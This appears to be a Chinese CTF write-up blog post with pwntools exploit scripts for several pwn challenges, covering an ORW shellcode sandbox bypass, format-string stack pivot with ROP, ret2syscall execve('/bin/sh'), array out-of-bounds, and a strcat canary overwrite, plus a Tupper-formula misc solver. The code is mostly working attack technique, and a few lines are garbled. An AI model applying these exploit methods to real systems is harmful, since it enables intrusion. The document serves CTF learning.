pwner:4rih04x

# Pwn

# 1.shellcode

1. 简单沙盒题,orw 可解决。

2.shellcode 要求不含有 happy,unhappy 字符,相当于禁用乐对应的 asca 码,可以先开一次新的输入。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
p = remote('101.32.220.189','31603')
#p = process('./unhappy')
shellcode = asm("""
xor eax, eax
xor edi, edi
syscall

""")
#gdb.attach(p)
pause()
p.send(shellcode)
pause()

mmap_place = 0xfff00000

orw = asm(shellcraft.open('./flag',0))
orw +=asm(shellcraft.read(3,mmap_place+0x300,0x100))
orw +=asm(shellcraft.write(1,mmap_place+0x300,0x100))
sh1 = b'a' * 0x06 + orw
#sh1 = b'\x00'*0x06+asm(shellcraft.read(0,mmap_place,500))+asm("mov rax,0xfff00000;call rax")
#p.send(sh1)
#pause()
p.send(sh1)
pause()
p.interactive()

image-20240131140420558

image-20240131144653065

# 2.one_bytes

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
p = remote('101.32.220.189','31742')
#p=remote('124.223.159.125','9024')101.32.220.189:31742
#shellcode = asm(shellcraft.sh())
data = ''

for i in range(100):
p.recvuntil(b'Here is your gift: ')
data += p.recv(1).decode()
p.recvuntil(b'the result?\n')
p.send(b'a'*0x11+b'\x4c')

print(data)
sh.interactive()

image-20240131165739972

image-20240131160652344

# 3.aladent fmt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
#!/usr/bin/env python
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
#p = process('./aladdin')
p=remote('101.32.220.189','31918')
elf = ELF('./aladdin')
libc = elf.libc

#gdb.attach(p,'b read')
#第一次输入泄露栈上关键信息
p.recvuntil(b'wish:\n')
#stack main_addr libc_main_start + 128
pd1 = b'%7$p%17$p%35$p'
p.send(pd1)

#栈上的
p.recvuntil(b'0x')
#$6 0x00在的地方作第一个
stack_addr = int(p.recv(12), 16) - 0x10
log.success(f"stack_addr: {hex(stack_addr)}")
printf_ret_stack = stack_addr - 0x08

#函数上
p.recvuntil(b'0x')
pie_addr = int(p.recv(12), 16) - elf.sym['main']
log.success(f"pie_addr: {hex(pie_addr)}")
printf_ret_addr = pie_addr + 0x134A
chance_bss = pie_addr + 0x4010
wish_bss = pie_addr + 0x4060
s

#libc上
p.recvuntil(b'0x')
base_addr = int(p.recv(12), 16) - 128 - libc.sym['__libc_start_main']
log.success(f"base_addr: {hex(base_addr)}")


pause()
'''
链子一:强行构造一次循环,修改返回地址为函数内部
栈上第6个参数的上一个printf_ret_stack为printf的返回地址printf_ret_addr
1.A-B-C-addr #三连
2.B-C-addr
改为printf_ret_addr
'''
'''
链子二:修改chance的值,修改chance为一大值,构成无限输入
1.a-b-c-main
2.b-c-chance_bss
3.c-chance_bss
改值chance_bss
'''
def final_2(addr):
return addr & 0xff
def final_4(addr):
return addr & 0xffff
def change2(num,addr_num):
pay = (b'%' + str(num).encode("utf-8") + b'c%' + str((addr_num + 6)).encode("utf-8") +b'$hhn')
return pay
def change4(num,addr_num):
pay = (b'%' + str(num).encode("utf-8") + b'c%' + str((addr_num + 6)).encode("utf-8") +b'$hn')
return pay



stack_fu1 = printf_ret_stack#stack_addr - 0x08
stack_0b = stack_addr + 0x0b*8 #main

#三连
stack_0d = stack_addr + 0x0d*8 #stack_2b --->stack_? #A
#stack_10 = stack_addr + 0x10*8 #stack_2b --->stack_?
stack_1e = stack_addr + 0x1e*8 #stack_2e --->stack_? #a

#二连
stack_2b = stack_addr + 0x2b*8
stack_2e = stack_addr + 0x2e*8

p2 = change4(final_4(stack_fu1),0x0d) + change4(final_4(stack_0b)-final_4(stack_fu1),0x1e)
#0d-2b-fu1--ret 1e-2e-0b--main
p.recvuntil(b'wish:\n')
p.send(p2)


p3 = change2(final_2(printf_ret_addr),0x2b) + change4(final_4(chance_bss)-final_2(printf_ret_addr),0x2e)
#2b-fu1--ret 2e-0b--bss
p.recvuntil(b'wish:\n')
p.send(p3)

p.recvuntil(b'wish:\n')
p4 = change2(14,0x0b)
p.send(p4)
p.recvuntil(b'wish:\n')

#栈迁移

#修改rbp为bss段
saying = b'one more wish'
rbp = wish_bss
rbp_1 = rbp & 0xffff
rbp_2 = (rbp >> 16) & 0xffff
rbp_3 = (rbp >> 32) & 0xffff
print("new_rbp is :", hex(rbp))
print("new_rbp_1 is :", hex(rbp_1))
print("new_rbp_2 is :", hex(rbp_2))
print("new_rbp_3 is :", hex(rbp_3))
stack_rbp08 = stack_addr + 0x08*8
p.send(change4(final_4(stack_rbp08),0x0d))
p.recvuntil(b'wish:\n')
#pause()
#0d-2b-rbp---val
p.send(change4(rbp_1,0x2b))
p.recvuntil(b'wish:\n')
p.send(change4(final_4(stack_rbp08+2),0x0d))
p.recvuntil(b'wish:\n')
p.send(change4(rbp_2,0x2b))
p.recvuntil(b'wish:\n')
p.send(change4(final_4(stack_rbp08+4),0x0d))
p.recvuntil(b'wish:\n')
p.send(change4(rbp_3,0x2b))
p.recvuntil(b'wish:\n')
pause()

#修改返回地址为leave_ret
leave_ret = pie_addr + 0x1425
stack_9 = stack_addr + 0x08*9
leave_ret_1 = leave_ret & 0xffff
leave_ret_2 = (leave_ret >> 16) & 0xffff
leave_ret_3 = (leave_ret >> 32) & 0xffff
print("leave_ret is :", hex(leave_ret))
print("leave_ret_1 is :", hex(leave_ret_1))
print("leave_ret_2 is :", hex(leave_ret_2))
print("leave_ret_3 is :", hex(leave_ret_3))
p.send(change4(final_4(stack_9),0x0d))
p.recvuntil(b'wish:\n')
pause()
#1e-2d-09--ret
p.send(change4(leave_ret_1,0x2b))
p.recvuntil(b'wish:\n')
p.send(change4(final_4(stack_9+2),0x0d))
p.recvuntil(b'wish:\n')
p.send(change4(leave_ret_2,0x2b))
p.recvuntil(b'wish:\n')
p.send(change4(final_4(stack_9+4),0x0d))
p.recvuntil(b'wish:\n')
p.send(change4(leave_ret_3,0x2b))
p.recvuntil(b'wish:\n')
pause()
#ROP
system_addr = base_addr + libc.sym['system']
open_addr = base_addr + libc.sym['open']
read_addr = base_addr + libc.sym['read']
write_addr = base_addr + libc.sym['write']
syscall_addr = base_addr + 0x0000000000029db4
pop_rax = base_addr + 0x0000000000045eb0
pop_rdi = base_addr + 0x000000000002a3e5
pop_rsi = base_addr + 0x000000000002be51
pop_rdx = base_addr + 0x00000000000796a2



bss = chance_bss + 0x08
orw = b"./flag\00\00"+ p64(pop_rdi)+p64(rbp)+p64(pop_rsi)+p64(0)+ p64(open_addr)
orw += p64(pop_rdi)+p64(3)+ p64(pop_rsi)+ p64(bss)+p64(pop_rdx)+ p64(0x50)+p64(read_addr)
orw += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(bss) + p64(pop_rdx) + p64(0x50) + p64(write_addr)
orw += p64(rbp)+p64(leave_ret)
p.send(orw)
p.recv()
pause()
p.interactive()

1. 改了 chace

image-20240201002955854

2. 栈迁移,改 rbp 和 leave

image-20240201030023499

3.getshell

# 4.gift_rop

关闭标准输出的 ret2syscall

exec 1>&0

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#!/usr/bin/env python
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
#p = process('./gift_rop')
p=remote('101.32.220.189','32355')
elf = ELF('./gift_rop')


#gdb.attach(p,'b read')
#ROP
base_addr = 0x0
syscall_addr = base_addr + 0x0000000000401ce4
pop_rax = base_addr + 0x0000000000448077
pop_rdi = base_addr + 0x0000000000401f2f
pop_rsi = base_addr + 0x0000000000409f9e
pop_rdx_rbx = base_addr + 0x000000000047f20b
binsh=0x4C50F0
leave_ret = 0x40188C

p.recvuntil(b'problem.\n')
payload = b"a"*40
payload += p64(pop_rax) + p64(0x3b) + p64(pop_rdi) + p64(binsh) + p64(pop_rsi) + p64(0) + p64(pop_rdx_rbx) + p64(0)*2+p64(syscall_addr)
payload += p64(leave_ret)
p.send(payload)

p.interactive()

image-20240201151039462

# 5.no_money(fmtno$)

fmt 不准使用 $,可以一个一个填充,有后门,改条件即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#!/usr/bin/env python
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
#p = process('./no_money')
p=remote('101.32.220.189','30813')
elf = ELF('./no_money')

#gdb.attach(p,'b read')
def Getmessage(num):
p.recvuntil(b'Your payload:\n')
payload = b'%p' * (num-1) + b'm' + b'%p'
p.send(payload)
p.recvuntil(b'm0x')
mes = int(p.recv(12), 16)
return mes

base_addr = Getmessage(0x0f + 6) - elf.sym['main']
log.success(f"base_addr: {hex(base_addr)}")


target_addr = base_addr + 0x404C
payload = (b'%p'* 11 +b'%n').ljust(32, b'a')+ p64(target_addr)
p. recvuntil(b'Your payload:')
p.send(payload)
p.interactive()

image-20240201171511063

# 6.ezpwn

数组越界

1.Getchar 输入问题,当 scanf 和 getchar 连在一起时,前者遇到非数字截停,而这个字符会给 getchar

2. 这里在返回后门函数时要找 lea 语句,注意看栈对齐问题。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#!/usr/bin/env python
#数组溢出
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
#p = process('./ezpwn')
p=remote('101.32.220.189','30402')

#gdb.attach(p)
p.recvuntil(b'Input your choice.\n')
p.sendline(b'1')
p.recvuntil(b'Please input index.\n')
#s[0] = 0x220
#s[69] = -0x08
p.send(b'552')
p.send(b'\x51')
p.recvuntil(b'please input value\n')
p.send(b'\x51')
p.recvuntil(b'Input your choice.\n')
p.sendline(b'4')
p.interactive()
#.text:0000000000001851 48 8D 05 2D 09 00 00 lea rax, command ; "/bin/sh"
'''
.text:0000000000001849 F3 0F 1E FA endbr64
.text:000000000000184D 55 push rbp
.text:000000000000184E 48 89 E5 mov rbp, rsp
.text:0000000000001851 48 8D 05 2D 09 00 00 lea rax, command ; "/bin/sh"
.text:0000000000001858 48 89 C7 mov rdi, rax ; command
.text:000000000000185B B8 00 00 00 00 mov eax, 0
.text:0000000000001860 E8 4B F9 FF FF call _system
.text:0000000000001860
.text:0000000000001865 90 nop
.text:0000000000001866 5D pop rbp
.text:0000000000001867 C3 retn
.text:0000000000001867 ; } // starts at 1849
.text:0000000000001867
.text:0000000000001867 gift endp
'''

image-20240201192217458

# 7.cat

1. 利用 strcat 覆盖返回地址,

注意 strcat(src,dest)将 dest 加到 src 后面,从 src 的第一个 \x00 开始加,加到 dest 第一个 \x00 出现开始截断。

本题的 canary 第一位恰好为 \x00,因此需要先覆盖

2. 利用 strcpy 恢复 canary 第一位

strcpy(a,b)将 b 复制到 a 处,并强行以 \x00 结尾,因此可以达到目标。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
#!/usr/bin/env python
#数组溢出
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
#p = process('./cat')
p=remote('101.32.220.189','30299')
elf = ELF('./cat')
#libc=ELF('./libc.so.6')101.32.220.189:30299

#gdb.attach(p, 'b *0x401283')

cat_flag_addr = 0x402004
system_plt = 0x4011FE
ret = 0x401387
p1 = b"aa" + p64(system_plt)
p.recvuntil(b"read:")
p.send(p1)
p.recvuntil(b"read:")
#p2 = b'exec 1>&0' + b'&&'+ b'cat flag'+ b'&&'+b'pwd'
p2=b'a'* (0x08 * 3)
p.send(p2)
pause()
p.recvuntil(b"read:")
p3 = b'b'*(0x40 -0x08) + b'a'
p.send(p3)
pause()

p.interactive()

image-20240202235237453

# Misc

# 1.checkin(base 32 解码)

image-20240131162252996

# 2.tupper (位图)

image-20240201224815084

按照文件夹整理。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import os
def extract_text_from_files(file_paths):
text = ""
for i, file_path in enumerate(file_paths, 1):
with open(file_path, 'r', encoding='utf-8') as file:
file_text = file.read()
text += file_text # 在每个文档的内容之间添加一个空格
return text.strip() # 去除首尾空格

# txt文档所在的文件夹路径
folder_path = "tupper"
# 获取文件夹中所有的txt文件路径
txt_files = [os.path.join(folder_path, file) for file in os.listdir(folder_path) if file.endswith(".txt")]

# 提取文档内容并连接成一段
result = extract_text_from_files(txt_files)

# 打印结果
print(result)

import math

import numpy as np
import matplotlib.pyplot as plt
from PIL import Image


def Tupper_self_referential_formula(k):
aa = np.zeros((17, 106))

def f(x, y):
y += k
a1 = 2 ** -(-17 * x - y % 17)
a2 = (y // 17) // a1
return 1 if a2 % 2 > 0.5 else 0

for y in range(17):
for x in range(106):
aa[y, x] = f(x, y)
return aa[:, ::-1]
k = 14278193432728026049298574575557534321062349352543562656766469704092874688354679371212444382298821342093450398907096976002458807598535735172126657504131171684907173086659505143920300085808809647256790384378553780282894239751898620041143383317064727136903634770936398518547900512548419486364915399253941245911205262493591158497708219126453587456637302888701303382210748629800081821684283187368543601559778431735006794761542413006621219207322808449232050578852431361678745355776921132352419931907838205001184
aa = Tupper_self_referential_formula(k)
plt.figure(figsize=(15, 10))
plt.imshow(aa, origin='lower')
plt.savefig("tupper.png")
img = Image.open('tupper.png')
dst1 = img.transpose(Image.FLIP_LEFT_RIGHT).rotate(180)
plt.imshow(dst1)
plt.show()

更新于 阅读次数

请我喝[茶]~( ̄▽ ̄)~*

4riH04X 微信支付

微信支付